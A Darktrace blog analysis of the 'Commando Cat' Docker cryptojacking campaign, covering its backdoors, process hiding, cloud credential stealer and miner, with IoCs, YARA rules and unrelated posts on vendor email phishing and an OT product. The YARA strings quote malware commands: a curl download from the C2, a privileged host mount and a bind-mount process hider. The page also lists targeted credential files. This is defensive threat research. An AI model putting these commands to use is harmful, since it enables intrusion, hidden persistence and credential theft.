Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Email

/

September 30, 2025

Out of Character: Detecting Vendor Compromise and Trusted Relationship Abuse with Darktrace

vendor email compromiseDefault blog imageDefault blog image

What is Vendor Email Compromise?

Vendor Email Compromise (VEC) refers to an attack where actors breach a third-party provider to exploit their access, relationships, or systems for malicious purposes. The initially compromised entities are often the target’s existing partners, though this can extend to any organization or individual the target is likely to trust.

It sits at the intersection of supply chain attacks and business email compromise (BEC), blending technical exploitation with trust-based deception. Attackers often infiltrate existing conversations, leveraging AI to mimic tone and avoid common spelling and grammar pitfalls. Malicious content is typically hosted on otherwise reputable file sharing platforms, meaning any shared links initially seem harmless.

While techniques to achieve initial access may have evolved, the goals remain familiar. Threat actors harvest credentials, launch subsequent phishing campaigns, attempt to redirect invoice payments for financial gain, and exfiltrate sensitive corporate data.

Why traditional defenses fall short

These subtle and sophisticated email attacks pose unique challenges for defenders. Few busy people would treat an ongoing conversation with a trusted contact with the same level of suspicion as an email from the CEO requesting ‘URGENT ASSISTANCE!’ Unfortunately, many traditional secure email gateways (SEGs) struggle with this too. Detecting an out-of-character email, when it does not obviously appear out of character, is a complex challenge. It’s hardly surprising, then, that 83% of organizations have experienced a security incident involving third-party vendors [1].  

This article explores how Darktrace detected four different vendor compromise campaigns for a single customer, within a two-week period in 2025.  Darktrace / EMAIL successfully identified the subtle indicators that these seemingly benign emails from trusted senders were, in fact, malicious. Due to the configuration of Darktrace / EMAIL in this customer’s environment, it was unable to take action against the malicious emails. However, if fully enabled to take Autonomous Response, it would have held all offending emails identified.

How does Darktrace detect vendor compromise?

The answer lies at the core of how Darktrace operates: anomaly detection. Rather than relying on known malicious rules or signatures, Darktrace learns what ‘normal’ looks like for an environment, then looks for anomalies across a wide range of metrics. Despite the resourcefulness of the threat actors involved in this case, Darktrace identified many anomalies across these campaigns.

Different campaigns, common traits

A wide variety of approaches was observed. Individuals, shared mailboxes and external contractors were all targeted. Two emails originated from compromised current vendors, while two came from unknown compromised organizations - one in an associated industry. The sender organizations were either familiar or, at the very least, professional in appearance, with no unusual alphanumeric strings or suspicious top-level domains (TLDs). Subject line, such as “New Approved Statement From [REDACTED]” and “[REDACTED] - Proposal Document” appeared unremarkable and were not designed to provoke heightened emotions like typical social engineering or BEC attempts.

All emails had been given a Microsoft Spam Confidence Level of 1, indicating Microsoft did not consider them to be spam or malicious [2]. They also passed authentication checks (including SPF, and in some cases DKIM and DMARC), meaning they appeared to originate from an authentic source for the sender domain and had not been tampered with in transit.  

All observed phishing emails contained a link hosted on a legitimate and commonly used file-sharing site. These sites were often convincingly themed, frequently featuring the name of a trusted vendor either on the page or within the URL, to appear authentic and avoid raising suspicion. However, these links served only as the initial step in a more complex, multi-stage phishing process.

A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Figure 1: A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.
Figure 2: Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.

If followed, the recipient would be redirected, sometimes via CAPTCHA, to fake Microsoft login pages designed to capturing credentials, namely http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html and https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html#.

The latter made use of homoglyphs to deceive the user, with a link referencing ‘s3cure0line’, rather than ‘secureonline’. Post-incident investigation using open-source intelligence (OSINT) confirmed that the domains were linked to malicious phishing endpoints [3] [4].

Fake Microsoft login page designed to harvest credentials.
Figure 3: Fake Microsoft login page designed to harvest credentials.
Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.
Figure 4: Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.

Darktrace Anomaly Detection

Some senders were unknown to the network, with no previous outbound or inbound emails. Some had sent the email to multiple undisclosed recipients using BCC, an unusual behavior for a new sender.  

Where the sender organization was an existing vendor, Darktrace recognized out-of-character behavior, in this case it was the first time a link to a particular file-sharing site had been shared. Often the links themselves exhibited anomalies, either being unusually prominent or hidden altogether - masked by text or a clickable image.

Crucially, Darktrace / EMAIL is able to identify malicious links at the time of processing the emails, without needing to visit the URLs or analyze the destination endpoints, meaning even the most convincing phishing pages cannot evade detection – meaning even the most convincing phishing emails cannot evade detection. This sets it apart from many competitors who rely on crawling the endpoints present in emails. This, among other things, risks disruption to user experience, such as unsubscribing them from emails, for instance.

Darktrace was also able to determine that the malicious emails originated from a compromised mailbox, using a series of behavioral and contextual metrics to make the identification. Upon analysis of the emails, Darktrace autonomously assigned several contextual tags to highlight their concerning elements, indicating that the messages contained phishing links, were likely sent from a compromised account, and originated from a known correspondent exhibiting out-of-character behavior.

A summary of the anomalous email, confirming that it contained a highly suspicious link.
Figure 5: Tags assigned to offending emails by Darktrace / EMAIL.

Figure 6: A summary of the anomalous email, confirming that it contained a highly suspicious link.

Out-of-character behavior caught in real-time

In another customer environment around the same time Darktrace / EMAIL detected multiple emails with carefully crafted, contextually appropriate subject lines sent from an established correspondent being sent to 30 different recipients. In many cases, the attacker hijacked existing threads and inserted their malicious emails into an ongoing conversation in an effort to blend in and avoid detection. As in the previous, the attacker leveraged a well-known service, this time ClickFunnels, to host a document containing another malicious link. Once again, they were assigned a Microsoft Spam Confidence Level of 1, indicating that they were not considered malicious.

The legitimate ClickFunnels page used to host a malicious phishing link.
Figure 7: The legitimate ClickFunnels page used to host a malicious phishing link.

This time, however, the customer had Darktrace / EMAIL fully enabled to take Autonomous Response against suspicious emails. As a result, when Darktrace detected the out-of-character behavior, specifically, the sharing of a link to a previously unused file-sharing domain, and identified the likely malicious intent of the message, it held the email, preventing it from reaching recipients’ inboxes and effectively shutting down the attack.

Figure 8: Darktrace / EMAIL’s detection of malicious emails inserted into an existing thread.*

*To preserve anonymity, all real customer names, email addresses, and other identifying details have been redacted and replaced with fictitious placeholders.

Legitimate messages in the conversation were assigned an Anomaly Score of 0, while the newly inserted malicious emails identified and were flagged with the maximum score of 100.

Key takeaways for defenders

Phishing remains big business, and as the landscape evolves, today’s campaigns often look very different from earlier versions. As with network-based attacks, threat actors are increasingly leveraging legitimate tools and exploiting trusted relationships to carry out their malicious goals, often staying under the radar of security teams and traditional email defenses.

As attackers continue to exploit trusted relationships between organizations and their third-party associates, security teams must remain vigilant to unexpected or suspicious email activity. Protecting the digital estate requires an email solution capable of identifying malicious characteristics, even when they originate from otherwise trusted senders.

Credit to Jennifer Beckett (Cyber Analyst), Patrick Anjos (Senior Cyber Analyst), Ryan Traill (Analyst Content Lead), Kiri Addison (Director of Product)

Appendices

IoC - Type - Description + Confidence  

- http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html#p – fake Microsoft login page

- https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html# - link to domain used in homoglyph attack

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

References

1.     https://gitnux.org/third-party-risk-statistics/

2.     https://learn.microsoft.com/en-us/defender-office-365/anti-spam-spam-confidence-level-scl-about

3.     https://www.virustotal.com/gui/url/5df9aae8f78445a590f674d7b64c69630c1473c294ce5337d73732c03ab7fca2/detection

4.     https://www.virustotal.com/gui/url/695d0d173d1bd4755eb79952704e3f2f2b87d1a08e2ec660b98a4cc65f6b2577/details

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

Continue reading
About the author

Blog

/

OT

/

September 30, 2025

Announcing Unified OT Security with Dedicated OT Workflows, Segmentation-Aware Risk Insights, and Next-Gen Endpoint Visibility for Industrial Teams

Default blog imageDefault blog image

The challenge of convergence without clarity

Convergence is no longer a roadmap idea, it is the daily reality for industrial security teams. As Information Technology (IT) and Operational Technology (OT) environments merge, the line between a cyber incident and an operational disruption grows increasingly hard to define. A misconfigured firewall rule can lead to downtime. A protocol misuse might look like a glitch. And when a pump stalls but nothing appears in the Security Operations Center (SOC) dashboard, teams are left asking: is this operational or is this a threat?

The lack of shared context slows down response, creates friction between SOC analysts and plant engineers, and leaves organizations vulnerable at exactly the points where IT and OT converge. Defenders need more than alerts, they need clarity that both sides can trust.

The breakthrough with Darktrace / OT

This latest Darktrace / OT release was built to deliver exactly that. It introduces shared context between Security, IT, and OT operations, helping reduce friction and close the security gaps at the intersection of these domains.

With a dedicated dashboard built for operations teams, extended visibility into endpoints for new forms of detection and CVE collection, expanded protocol coverage, and smarter risk modeling aligned to segmentation policies, teams can now operate from a shared source of truth. These enhancements are not just incremental upgrades, they are foundational improvements designed to bring clarity, efficiency, and trust to converged environments.

A dashboard built for OT engineers

The new Operational Overview provides OT engineers with a workspace designed for them, not for SOC analysts. It brings asset management, risk insights and operational alerts into one place. Engineers can now see activity like firmware changes, controller reprograms or the sudden appearance of a new workstation on the network, providing a tailored view for critical insights and productivity gains without navigating IT-centric workflows. Each device view is now enriched with cross-linked intelligence, make, model, firmware version and the roles inferred by Self-Learning AI, making it easier to understand how each asset behaves, what function it serves, and where it fits within the broader industrial process. By suppressing IT-centric noise, the dashboard highlights only the anomalies that matter to operations, accelerating triage, enabling smoother IT/OT collaboration, and reducing time to root cause without jumping between tools.

This is usability with purpose, a view that matches OT workflows and accelerates response.

Figure 1: The Operational Overview provides an intuitive dashboard summarizing all OT Assets, Alerts, and Risk.

Full-spectrum coverage across endpoints, sensors and protocols

The release also extends visibility into areas that have traditionally been blind spots. Engineering workstations, Human-Machine Interfaces (HMIs), contractor laptops and field devices are often the entry points for attackers, yet the hardest to monitor.

Darktrace introduces Network Endpoint eXtended Telemetry (NEXT) for OT, a lightweight collector built for segmented and resource-constrained environments. NEXT for OT uses Endpoint sensors to capture localized network, and now process-level telemetry, placing it in context alongside other network and asset data to:

  1. Identify vulnerabilities and OS data, which is leveraged by OT Risk Management for risk scoring and patching prioritization, removing the need for third-party CVE collection.
  1. Surface novel threats using Self-Learning AI that standalone Endpoint Detection and Response (EDR) would miss.
